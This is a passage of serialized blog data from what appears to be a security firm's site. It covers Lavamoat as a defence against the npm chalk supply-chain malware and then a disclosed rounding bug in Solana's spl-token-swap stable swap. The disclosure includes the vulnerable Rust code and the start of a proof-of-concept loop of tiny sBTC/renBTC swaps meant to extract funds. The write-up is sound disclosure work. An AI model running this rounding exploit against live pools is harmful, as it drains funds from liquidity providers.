\"navigator.userAgent\"",{"type":24,"tag":83,"props":2440,"children":2441},{"style":107},[2442],{"type":29,"value":1920},{"type":24,"tag":83,"props":2444,"children":2445},{"style":90},[2446],{"type":29,"value":1237},{"type":24,"tag":83,"props":2448,"children":2449},{"style":107},[2450],{"type":29,"value":989},{"type":24,"tag":83,"props":2452,"children":2453},{"class":85,"line":183},[2454,2459,2463],{"type":24,"tag":83,"props":2455,"children":2456},{"style":137},[2457],{"type":29,"value":2458},"        \"navigator.userAgentData\"",{"type":24,"tag":83,"props":2460,"children":2461},{"style":107},[2462],{"type":29,"value":1920},{"type":24,"tag":83,"props":2464,"children":2465},{"style":90},[2466],{"type":29,"value":2115},{"type":24,"tag":83,"props":2468,"children":2469},{"class":85,"line":203},[2470],{"type":24,"tag":83,"props":2471,"children":2472},{"style":107},[2473],{"type":29,"value":364},{"type":24,"tag":83,"props":2475,"children":2476},{"class":85,"line":212},[2477],{"type":24,"tag":83,"props":2478,"children":2479},{"style":107},[2480],{"type":29,"value":2130},{"type":24,"tag":25,"props":2482,"children":2483},{},[2484,2486,2492],{"type":29,"value":2485},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":32,"props":2487,"children":2489},{"className":2488},[],[2490],{"type":29,"value":2491},"navigator",{"type":29,"value":161},{"type":24,"tag":25,"props":2494,"children":2495},{},[2496,2498,2504],{"type":29,"value":2497},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":32,"props":2499,"children":2501},{"className":2500},[],[2502],{"type":29,"value":2503},"chalk v5.6.1",{"type":29,"value":2505}," it would fail due to insufficient permissions:",{"type":24,"tag":25,"props":2507,"children":2508},{},[2509],{"type":24,"tag":2510,"props":2511,"children":2514},"img",{"alt":2512,"src":2513},"image","/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":25,"props":2516,"children":2517},{},[2518,2520,2525],{"type":29,"value":2519},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":32,"props":2521,"children":2523},{"className":2522},[],[2524],{"type":29,"value":487},{"type":29,"value":2526}," function:",{"type":24,"tag":73,"props":2528,"children":2530},{"code":2529},"TypeError#1: Cannot define property fetch, object is not extensible\n",[2531],{"type":24,"tag":32,"props":2532,"children":2533},{"__ignoreMap":7},[2534],{"type":29,"value":2529},{"type":24,"tag":51,"props":2536,"children":2538},{"id":2537},"lavamoat-in-practice",[2539],{"type":29,"value":2540},"Lavamoat In Practice",{"type":24,"tag":25,"props":2542,"children":2543},{},[2544,2546,2553],{"type":29,"value":2545},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":2033,"props":2547,"children":2550},{"href":2548,"rel":2549},"https://osec.io/reports/lavamoat_audit_final.pdf",[2037],[2551],{"type":29,"value":2552},"see the audit report",{"type":29,"value":2554},").",{"type":24,"tag":25,"props":2556,"children":2557},{},[2558],{"type":29,"value":2559},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":51,"props":2561,"children":2563},{"id":2562},"final-thoughts",[2564],{"type":29,"value":2565},"Final Thoughts",{"type":24,"tag":25,"props":2567,"children":2568},{},[2569],{"type":29,"value":2570},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":25,"props":2572,"children":2573},{},[2574,2576,2581],{"type":29,"value":2575},"Version pinning and ",{"type":24,"tag":32,"props":2577,"children":2579},{"className":2578},[],[2580],{"type":29,"value":2000},{"type":29,"value":2582}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":2584,"props":2585,"children":2586},"style",{},[2587],{"type":29,"value":2588},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":113,"depth":113,"links":2590},[2591,2594,2595,2604,2605],{"id":53,"depth":113,"text":56,"children":2592},[2593],{"id":1820,"depth":128,"text":1823},{"id":1831,"depth":113,"text":1834},{"id":1847,"depth":113,"text":1850,"children":2596},[2597,2599,2601,2603],{"id":1858,"depth":128,"text":2598},"1. Version pinning in package.json",{"id":1991,"depth":128,"text":2600},"2. Use npm ci",{"id":2028,"depth":128,"text":2602},"3. Implement Lavamoat",{"id":2330,"depth":128,"text":2333},{"id":2537,"depth":113,"text":2540},{"id":2562,"depth":113,"text":2565},"markdown","content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","content","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks","md",[2613,5124,5461,9006,13361,18483,28753,30184,30947,35156,40163,45593,46749,50236,60628,67356,69195,70904,75567,89464,92185,96974,99234,101579,107365,123185,131485,141409,146687,156080,158417],{"_path":2614,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":2615,"description":2616,"image":2617,"date":2621,"isFeatured":16,"tags":2622,"onBlogPage":16,"body":2625,"_type":2606,"_id":5121,"_source":2608,"_file":5122,"_stem":5123,"_extension":2611},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":2618,"width":2619,"height":2620},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[2623,2624],"solana","report",{"type":21,"children":2626,"toc":5115},[2627,2641,2646,2651,2660,2666,2671,2676,2685,2693,2698,2703,2711,2716,2721,3100,3110,3115,3643,3648,3656,3663,3669,3674,3679,3684,3691,3703,3708,3720,3958,3963,3968,3974,3979,3984,4030,4035,4043,4048,4053,4058,4203,4216,4331,4345,4353,4367,4375,4388,4393,4405,4413,4435,5053,5059,5064,5076,5089,5096,5101,5106,5111],{"type":24,"tag":25,"props":2628,"children":2629},{},[2630,2632,2639],{"type":29,"value":2631},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":2033,"props":2633,"children":2636},{"href":2634,"rel":2635},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[2037],[2637],{"type":29,"value":2638},"spl-token-swap",{"type":29,"value":2640},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":25,"props":2642,"children":2643},{},[2644],{"type":29,"value":2645},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":25,"props":2647,"children":2648},{},[2649],{"type":29,"value":2650},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":25,"props":2652,"children":2653},{},[2654],{"type":24,"tag":2655,"props":2656,"children":2657},"em",{},[2658],{"type":29,"value":2659},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":51,"props":2661,"children":2663},{"id":2662},"discovery",[2664],{"type":29,"value":2665},"Discovery",{"type":24,"tag":25,"props":2667,"children":2668},{},[2669],{"type":29,"value":2670},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":25,"props":2672,"children":2673},{},[2674],{"type":29,"value":2675},"After a while, he noticed something weird..",{"type":24,"tag":2677,"props":2678,"children":2679},"blockquote",{},[2680],{"type":24,"tag":25,"props":2681,"children":2682},{},[2683],{"type":29,"value":2684},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":73,"props":2686,"children":2688},{"code":2687},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[2689],{"type":24,"tag":32,"props":2690,"children":2691},{"__ignoreMap":7},[2692],{"type":29,"value":2687},{"type":24,"tag":25,"props":2694,"children":2695},{},[2696],{"type":29,"value":2697},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":25,"props":2699,"children":2700},{},[2701],{"type":29,"value":2702},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":73,"props":2704,"children":2706},{"code":2705},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[2707],{"type":24,"tag":32,"props":2708,"children":2709},{"__ignoreMap":7},[2710],{"type":29,"value":2705},{"type":24,"tag":25,"props":2712,"children":2713},{},[2714],{"type":29,"value":2715},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":25,"props":2717,"children":2718},{},[2719],{"type":29,"value":2720},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":73,"props":2722,"children":2726},{"code":2723,"language":2724,"meta":7,"className":2725,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[2727],{"type":24,"tag":32,"props":2728,"children":2729},{"__ignoreMap":7},[2730,2739,2770,2802,2906,3011,3037,3049,3065,3085,3093],{"type":24,"tag":83,"props":2731,"children":2732},{"class":85,"line":86},[2733],{"type":24,"tag":83,"props":2734,"children":2736},{"style":2735},"--shiki-default:#6A9955",[2737],{"type":29,"value":2738},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":83,"props":2740,"children":2741},{"class":85,"line":113},[2742,2747,2752,2757,2761,2766],{"type":24,"tag":83,"props":2743,"children":2744},{"style":90},[2745],{"type":29,"value":2746},"    let",{"type":24,"tag":83,"props":2748,"children":2749},{"style":90},[2750],{"type":29,"value":2751}," mut",{"type":24,"tag":83,"props":2753,"children":2754},{"style":137},[2755],{"type":29,"value":2756}," y",{"type":24,"tag":83,"props":2758,"children":2759},{"style":143},[2760],{"type":29,"value":146},{"type":24,"tag":83,"props":2762,"children":2763},{"style":137},[2764],{"type":29,"value":2765}," d_val",{"type":24,"tag":83,"props":2767,"children":2768},{"style":107},[2769],{"type":29,"value":321},{"type":24,"tag":83,"props":2771,"children":2772},{"class":85,"line":128},[2773,2778,2783,2788,2792,2797],{"type":24,"tag":83,"props":2774,"children":2775},{"style":117},[2776],{"type":29,"value":2777},"    for",{"type":24,"tag":83,"props":2779,"children":2780},{"style":137},[2781],{"type":29,"value":2782}," _",{"type":24,"tag":83,"props":2784,"children":2785},{"style":90},[2786],{"type":29,"value":2787}," in",{"type":24,"tag":83,"props":2789,"children":2790},{"style":245},[2791],{"type":29,"value":248},{"type":24,"tag":83,"props":2793,"children":2794},{"style":143},[2795],{"type":29,"value":2796},"..",{"type":24,"tag":83,"props":2798,"children":2799},{"style":107},[2800],{"type":29,"value":2801},"ITERATIONS {\n",{"type":24,"tag":83,"props":2803,"children":2804},{"class":85,"line":183},[2805,2810,2814,2819,2823,2828,2832,2836,2840,2845,2849,2854,2859,2863,2868,2873,2878,2883,2887,2892,2896,2901],{"type":24,"tag":83,"props":2806,"children":2807},{"style":90},[2808],{"type":29,"value":2809},"        let",{"type":24,"tag":83,"props":2811,"children":2812},{"style":107},[2813],{"type":29,"value":223},{"type":24,"tag":83,"props":2815,"children":2816},{"style":137},[2817],{"type":29,"value":2818},"y_new",{"type":24,"tag":83,"props":2820,"children":2821},{"style":107},[2822],{"type":29,"value":568},{"type":24,"tag":83,"props":2824,"children":2825},{"style":137},[2826],{"type":29,"value":2827},"_",{"type":24,"tag":83,"props":2829,"children":2830},{"style":107},[2831],{"type":29,"value":633},{"type":24,"tag":83,"props":2833,"children":2834},{"style":143},[2835],{"type":29,"value":1275},{"type":24,"tag":83,"props":2837,"children":2838},{"style":107},[2839],{"type":29,"value":223},{"type":24,"tag":83,"props":2841,"children":2842},{"style":101},[2843],{"type":29,"value":2844},"checked_u8_power",{"type":24,"tag":83,"props":2846,"children":2847},{"style":107},[2848],{"type":29,"value":558},{"type":24,"tag":83,"props":2850,"children":2851},{"style":143},[2852],{"type":29,"value":2853},"&",{"type":24,"tag":83,"props":2855,"children":2856},{"style":137},[2857],{"type":29,"value":2858},"y",{"type":24,"tag":83,"props":2860,"children":2861},{"style":107},[2862],{"type":29,"value":568},{"type":24,"tag":83,"props":2864,"children":2865},{"style":245},[2866],{"type":29,"value":2867},"2",{"type":24,"tag":83,"props":2869,"children":2870},{"style":107},[2871],{"type":29,"value":2872},")",{"type":24,"tag":83,"props":2874,"children":2875},{"style":143},[2876],{"type":29,"value":2877},"?.",{"type":24,"tag":83,"props":2879,"children":2880},{"style":101},[2881],{"type":29,"value":2882},"checked_add",{"type":24,"tag":83,"props":2884,"children":2885},{"style":107},[2886],{"type":29,"value":558},{"type":24,"tag":83,"props":2888,"children":2889},{"style":137},[2890],{"type":29,"value":2891},"c",{"type":24,"tag":83,"props":2893,"children":2894},{"style":107},[2895],{"type":29,"value":2872},{"type":24,"tag":83,"props":2897,"children":2898},{"style":143},[2899],{"type":29,"value":2900},"?",{"type":24,"tag":83,"props":2902,"children":2903},{"style":107},[2904],{"type":29,"value":2905},")\n",{"type":24,"tag":83,"props":2907,"children":2908},{"class":85,"line":203},[2909,2914,2919,2923,2928,2932,2936,2940,2944,2948,2952,2956,2960,2964,2969,2973,2977,2982,2986,2991,2995,2999,3003,3007],{"type":24,"tag":83,"props":2910,"children":2911},{"style":143},[2912],{"type":29,"value":2913},"            .",{"type":24,"tag":83,"props":2915,"children":2916},{"style":101},[2917],{"type":29,"value":2918},"checked_ceil_div",{"type":24,"tag":83,"props":2920,"children":2921},{"style":107},[2922],{"type":29,"value":558},{"type":24,"tag":83,"props":2924,"children":2925},{"style":101},[2926],{"type":29,"value":2927},"checked_u8_mul",{"type":24,"tag":83,"props":2929,"children":2930},{"style":107},[2931],{"type":29,"value":558},{"type":24,"tag":83,"props":2933,"children":2934},{"style":143},[2935],{"type":29,"value":2853},{"type":24,"tag":83,"props":2937,"children":2938},{"style":137},[2939],{"type":29,"value":2858},{"type":24,"tag":83,"props":2941,"children":2942},{"style":107},[2943],{"type":29,"value":568},{"type":24,"tag":83,"props":2945,"children":2946},{"style":245},[2947],{"type":29,"value":2867},{"type":24,"tag":83,"props":2949,"children":2950},{"style":107},[2951],{"type":29,"value":2872},{"type":24,"tag":83,"props":2953,"children":2954},{"style":143},[2955],{"type":29,"value":2877},{"type":24,"tag":83,"props":2957,"children":2958},{"style":101},[2959],{"type":29,"value":2882},{"type":24,"tag":83,"props":2961,"children":2962},{"style":107},[2963],{"type":29,"value":558},{"type":24,"tag":83,"props":2965,"children":2966},{"style":137},[2967],{"type":29,"value":2968},"b",{"type":24,"tag":83,"props":2970,"children":2971},{"style":107},[2972],{"type":29,"value":2872},{"type":24,"tag":83,"props":2974,"children":2975},{"style":143},[2976],{"type":29,"value":2877},{"type":24,"tag":83,"props":2978,"children":2979},{"style":101},[2980],{"type":29,"value":2981},"checked_sub",{"type":24,"tag":83,"props":2983,"children":2984},{"style":107},[2985],{"type":29,"value":558},{"type":24,"tag":83,"props":2987,"children":2988},{"style":137},[2989],{"type":29,"value":2990},"d_val",{"type":24,"tag":83,"props":2992,"children":2993},{"style":107},[2994],{"type":29,"value":2872},{"type":24,"tag":83,"props":2996,"children":2997},{"style":143},[2998],{"type":29,"value":2900},{"type":24,"tag":83,"props":3000,"children":3001},{"style":107},[3002],{"type":29,"value":2872},{"type":24,"tag":83,"props":3004,"children":3005},{"style":143},[3006],{"type":29,"value":2900},{"type":24,"tag":83,"props":3008,"children":3009},{"style":107},[3010],{"type":29,"value":321},{"type":24,"tag":83,"props":3012,"children":3013},{"class":85,"line":212},[3014,3019,3024,3029,3033],{"type":24,"tag":83,"props":3015,"children":3016},{"style":117},[3017],{"type":29,"value":3018},"        if",{"type":24,"tag":83,"props":3020,"children":3021},{"style":137},[3022],{"type":29,"value":3023}," y_new",{"type":24,"tag":83,"props":3025,"children":3026},{"style":143},[3027],{"type":29,"value":3028}," ==",{"type":24,"tag":83,"props":3030,"children":3031},{"style":137},[3032],{"type":29,"value":2756},{"type":24,"tag":83,"props":3034,"children":3035},{"style":107},[3036],{"type":29,"value":125},{"type":24,"tag":83,"props":3038,"children":3039},{"class":85,"line":256},[3040,3045],{"type":24,"tag":83,"props":3041,"children":3042},{"style":117},[3043],{"type":29,"value":3044},"            break",{"type":24,"tag":83,"props":3046,"children":3047},{"style":107},[3048],{"type":29,"value":321},{"type":24,"tag":83,"props":3050,"children":3051},{"class":85,"line":270},[3052,3057,3061],{"type":24,"tag":83,"props":3053,"children":3054},{"style":107},[3055],{"type":29,"value":3056},"        } ",{"type":24,"tag":83,"props":3058,"children":3059},{"style":117},[3060],{"type":29,"value":378},{"type":24,"tag":83,"props":3062,"children":3063},{"style":107},[3064],{"type":29,"value":125},{"type":24,"tag":83,"props":3066,"children":3067},{"class":85,"line":302},[3068,3073,3077,3081],{"type":24,"tag":83,"props":3069,"children":3070},{"style":137},[3071],{"type":29,"value":3072},"            y",{"type":24,"tag":83,"props":3074,"children":3075},{"style":143},[3076],{"type":29,"value":146},{"type":24,"tag":83,"props":3078,"children":3079},{"style":137},[3080],{"type":29,"value":3023},{"type":24,"tag":83,"props":3082,"children":3083},{"style":107},[3084],{"type":29,"value":321},{"type":24,"tag":83,"props":3086,"children":3087},{"class":85,"line":324},[3088],{"type":24,"tag":83,"props":3089,"children":3090},{"style":107},[3091],{"type":29,"value":3092},"        }\n",{"type":24,"tag":83,"props":3094,"children":3095},{"class":85,"line":345},[3096],{"type":24,"tag":83,"props":3097,"children":3098},{"style":107},[3099],{"type":29,"value":446},{"type":24,"tag":25,"props":3101,"children":3102},{},[3103,3108],{"type":24,"tag":2655,"props":3104,"children":3105},{},[3106],{"type":29,"value":3107},"approximate",{"type":29,"value":3109},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":25,"props":3111,"children":3112},{},[3113],{"type":29,"value":3114},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":73,"props":3116,"children":3118},{"code":3117,"language":2724,"meta":7,"className":2725,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[3119],{"type":24,"tag":32,"props":3120,"children":3121},{"__ignoreMap":7},[3122,3130,3171,3179,3209,3237,3253,3269,3294,3310,3326,3342,3358,3374,3386,3394,3415,3423,3431,3497,3504,3533,3540,3570,3577,3636],{"type":24,"tag":83,"props":3123,"children":3124},{"class":85,"line":86},[3125],{"type":24,"tag":83,"props":3126,"children":3127},{"style":2735},[3128],{"type":29,"value":3129},"// from sbtc to renbtc\n",{"type":24,"tag":83,"props":3131,"children":3132},{"class":85,"line":113},[3133,3138,3143,3147,3151,3156,3161,3167],{"type":24,"tag":83,"props":3134,"children":3135},{"style":117},[3136],{"type":29,"value":3137},"for",{"type":24,"tag":83,"props":3139,"children":3140},{"style":137},[3141],{"type":29,"value":3142}," i",{"type":24,"tag":83,"props":3144,"children":3145},{"style":90},[3146],{"type":29,"value":2787},{"type":24,"tag":83,"props":3148,"children":3149},{"style":245},[3150],{"type":29,"value":248},{"type":24,"tag":83,"props":3152,"children":3153},{"style":143},[3154],{"type":29,"value":3155}," ..",{"type":24,"tag":83,"props":3157,"children":3158},{"style":245},[3159],{"type":29,"value":3160}," 50",{"type":24,"tag":83,"props":3162,"children":3164},{"style":3163},"--shiki-default:#4EC9B0",[3165],{"type":29,"value":3166},"u8",{"type":24,"tag":83,"props":3168,"children":3169},{"style":107},[3170],{"type":29,"value":125},{"type":24,"tag":83,"props":3172,"children":3173},{"class":85,"line":128},[3174],{"type":24,"tag":83,"props":3175,"children":3176},{"style":2735},[3177],{"type":29,"value":3178},"    // create swap transaction\n",{"type":24,"tag":83,"props":3180,"children":3181},{"class":85,"line":183},[3182,3186,3190,3195,3199,3204],{"type":24,"tag":83,"props":3183,"children":3184},{"style":90},[3185],{"type":29,"value":2746},{"type":24,"tag":83,"props":3187,"children":3188},{"style":90},[3189],{"type":29,"value":2751},{"type":24,"tag":83,"props":3191,"children":3192},{"style":137},[3193],{"type":29,"value":3194}," swap_instruction",{"type":24,"tag":83,"props":3196,"children":3197},{"style":143},[3198],{"type":29,"value":146},{"type":24,"tag":83,"props":3200,"children":3201},{"style":101},[3202],{"type":29,"value":3203}," swap",{"type":24,"tag":83,"props":3205,"children":3206},{"style":107},[3207],{"type":29,"value":3208},"(\n",{"type":24,"tag":83,"props":3210,"children":3211},{"class":85,"line":203},[3212,3217,3222,3227,3232],{"type":24,"tag":83,"props":3213,"children":3214},{"style":143},[3215],{"type":29,"value":3216},"        &",{"type":24,"tag":83,"props":3218,"children":3219},{"style":107},[3220],{"type":29,"value":3221},"spl_token",{"type":24,"tag":83,"props":3223,"children":3224},{"style":143},[3225],{"type":29,"value":3226},"::",{"type":24,"tag":83,"props":3228,"children":3229},{"style":101},[3230],{"type":29,"value":3231},"id",{"type":24,"tag":83,"props":3233,"children":3234},{"style":107},[3235],{"type":29,"value":3236},"(),\n",{"type":24,"tag":83,"props":3238,"children":3239},{"class":85,"line":212},[3240,3244,3249],{"type":24,"tag":83,"props":3241,"children":3242},{"style":143},[3243],{"type":29,"value":3216},{"type":24,"tag":83,"props":3245,"children":3246},{"style":137},[3247],{"type":29,"value":3248},"swap_pubkey",{"type":24,"tag":83,"props":3250,"children":3251},{"style":107},[3252],{"type":29,"value":989},{"type":24,"tag":83,"props":3254,"children":3255},{"class":85,"line":256},[3256,3260,3265],{"type":24,"tag":83,"props":3257,"children":3258},{"style":143},[3259],{"type":29,"value":3216},{"type":24,"tag":83,"props":3261,"children":3262},{"style":137},[3263],{"type":29,"value":3264},"swap_authority_pubkey",{"type":24,"tag":83,"props":3266,"children":3267},{"style":107},[3268],{"type":29,"value":989},{"type":24,"tag":83,"props":3270,"children":3271},{"class":85,"line":270},[3272,3276,3281,3285,3290],{"type":24,"tag":83,"props":3273,"children":3274},{"style":143},[3275],{"type":29,"value":3216},{"type":24,"tag":83,"props":3277,"children":3278},{"style":137},[3279],{"type":29,"value":3280},"test_account_signer",{"type":24,"tag":83,"props":3282,"children":3283},{"style":143},[3284],{"type":29,"value":161},{"type":24,"tag":83,"props":3286,"children":3287},{"style":101},[3288],{"type":29,"value":3289},"pubkey",{"type":24,"tag":83,"props":3291,"children":3292},{"style":107},[3293],{"type":29,"value":3236},{"type":24,"tag":83,"props":3295,"children":3296},{"class":85,"line":302},[3297,3301,3306],{"type":24,"tag":83,"props":3298,"children":3299},{"style":143},[3300],{"type":29,"value":3216},{"type":24,"tag":83,"props":3302,"children":3303},{"style":137},[3304],{"type":29,"value":3305},"sbtc_user_account",{"type":24,"tag":83,"props":3307,"children":3308},{"style":107},[3309],{"type":29,"value":989},{"type":24,"tag":83,"props":3311,"children":3312},{"class":85,"line":324},[3313,3317,3322],{"type":24,"tag":83,"props":3314,"children":3315},{"style":143},[3316],{"type":29,"value":3216},{"type":24,"tag":83,"props":3318,"children":3319},{"style":137},[3320],{"type":29,"value":3321},"sbtc_reserve",{"type":24,"tag":83,"props":3323,"children":3324},{"style":107},[3325],{"type":29,"value":989},{"type":24,"tag":83,"props":3327,"children":3328},{"class":85,"line":345},[3329,3333,3338],{"type":24,"tag":83,"props":3330,"children":3331},{"style":143},[3332],{"type":29,"value":3216},{"type":24,"tag":83,"props":3334,"children":3335},{"style":137},[3336],{"type":29,"value":3337},"renbtc_reserve",{"type":24,"tag":83,"props":3339,"children":3340},{"style":107},[3341],{"type":29,"value":989},{"type":24,"tag":83,"props":3343,"children":3344},{"class":85,"line":358},[3345,3349,3354],{"type":24,"tag":83,"props":3346,"children":3347},{"style":143},[3348],{"type":29,"value":3216},{"type":24,"tag":83,"props":3350,"children":3351},{"style":137},[3352],{"type":29,"value":3353},"renbtc_user_account",{"type":24,"tag":83,"props":3355,"children":3356},{"style":107},[3357],{"type":29,"value":989},{"type":24,"tag":83,"props":3359,"children":3360},{"class":85,"line":367},[3361,3365,3370],{"type":24,"tag":83,"props":3362,"children":3363},{"style":143},[3364],{"type":29,"value":3216},{"type":24,"tag":83,"props":3366,"children":3367},{"style":137},[3368],{"type":29,"value":3369},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":83,"props":3371,"children":3372},{"style":107},[3373],{"type":29,"value":989},{"type":24,"tag":83,"props":3375,"children":3376},{"class":85,"line":406},[3377,3382],{"type":24,"tag":83,"props":3378,"children":3379},{"style":245},[3380],{"type":29,"value":3381},"        1",{"type":24,"tag":83,"props":3383,"children":3384},{"style":107},[3385],{"type":29,"value":989},{"type":24,"tag":83,"props":3387,"children":3388},{"class":85,"line":427},[3389],{"type":24,"tag":83,"props":3390,"children":3391},{"style":245},[3392],{"type":29,"value":3393},"        2\n",{"type":24,"tag":83,"props":3395,"children":3396},{"class":85,"line":440},[3397,3402,3406,3411],{"type":24,"tag":83,"props":3398,"children":3399},{"style":107},[3400],{"type":29,"value":3401},"    )",{"type":24,"tag":83,"props":3403,"children":3404},{"style":143},[3405],{"type":29,"value":161},{"type":24,"tag":83,"props":3407,"children":3408},{"style":101},[3409],{"type":29,"value":3410},"unwrap",{"type":24,"tag":83,"props":3412,"children":3413},{"style":107},[3414],{"type":29,"value":267},{"type":24,"tag":83,"props":3416,"children":3417},{"class":85,"line":449},[3418],{"type":24,"tag":83,"props":3419,"children":3420},{"emptyLinePlaceholder":16},[3421],{"type":29,"value":3422},"\n",{"type":24,"tag":83,"props":3424,"children":3425},{"class":85,"line":458},[3426],{"type":24,"tag":83,"props":3427,"children":3428},{"style":2735},[3429],{"type":29,"value":3430},"    // nonce\n",{"type":24,"tag":83,"props":3432,"children":3433},{"class":85,"line":1065},[3434,3439,3443,3447,3451,3456,3460,3464,3469,3474,3478,3483,3487,3492],{"type":24,"tag":83,"props":3435,"children":3436},{"style":137},[3437],{"type":29,"value":3438},"    swap_instruction",{"type":24,"tag":83,"props":3440,"children":3441},{"style":143},[3442],{"type":29,"value":161},{"type":24,"tag":83,"props":3444,"children":3445},{"style":107},[3446],{"type":29,"value":839},{"type":24,"tag":83,"props":3448,"children":3449},{"style":143},[3450],{"type":29,"value":161},{"type":24,"tag":83,"props":3452,"children":3453},{"style":101},[3454],{"type":29,"value":3455},"append",{"type":24,"tag":83,"props":3457,"children":3458},{"style":107},[3459],{"type":29,"value":558},{"type":24,"tag":83,"props":3461,"children":3462},{"style":143},[3463],{"type":29,"value":2853},{"type":24,"tag":83,"props":3465,"children":3466},{"style":90},[3467],{"type":29,"value":3468},"mut",{"type":24,"tag":83,"props":3470,"children":3471},{"style":101},[3472],{"type":29,"value":3473}," vec!",{"type":24,"tag":83,"props":3475,"children":3476},{"style":107},[3477],{"type":29,"value":1161},{"type":24,"tag":83,"props":3479,"children":3480},{"style":137},[3481],{"type":29,"value":3482},"i",{"type":24,"tag":83,"props":3484,"children":3485},{"style":107},[3486],{"type":29,"value":568},{"type":24,"tag":83,"props":3488,"children":3489},{"style":137},[3490],{"type":29,"value":3491},"extranonce",{"type":24,"tag":83,"props":3493,"children":3494},{"style":107},[3495],{"type":29,"value":3496},"]);\n",{"type":24,"tag":83,"props":3498,"children":3499},{"class":85,"line":1668},[3500],{"type":24,"tag":83,"props":3501,"children":3502},{"emptyLinePlaceholder":16},[3503],{"type":29,"value":3422},{"type":24,"tag":83,"props":3505,"children":3506},{"class":85,"line":1713},[3507,3511,3515,3520,3524,3528],{"type":24,"tag":83,"props":3508,"children":3509},{"style":90},[3510],{"type":29,"value":2746},{"type":24,"tag":83,"props":3512,"children":3513},{"style":90},[3514],{"type":29,"value":2751},{"type":24,"tag":83,"props":3516,"children":3517},{"style":137},[3518],{"type":29,"value":3519}," 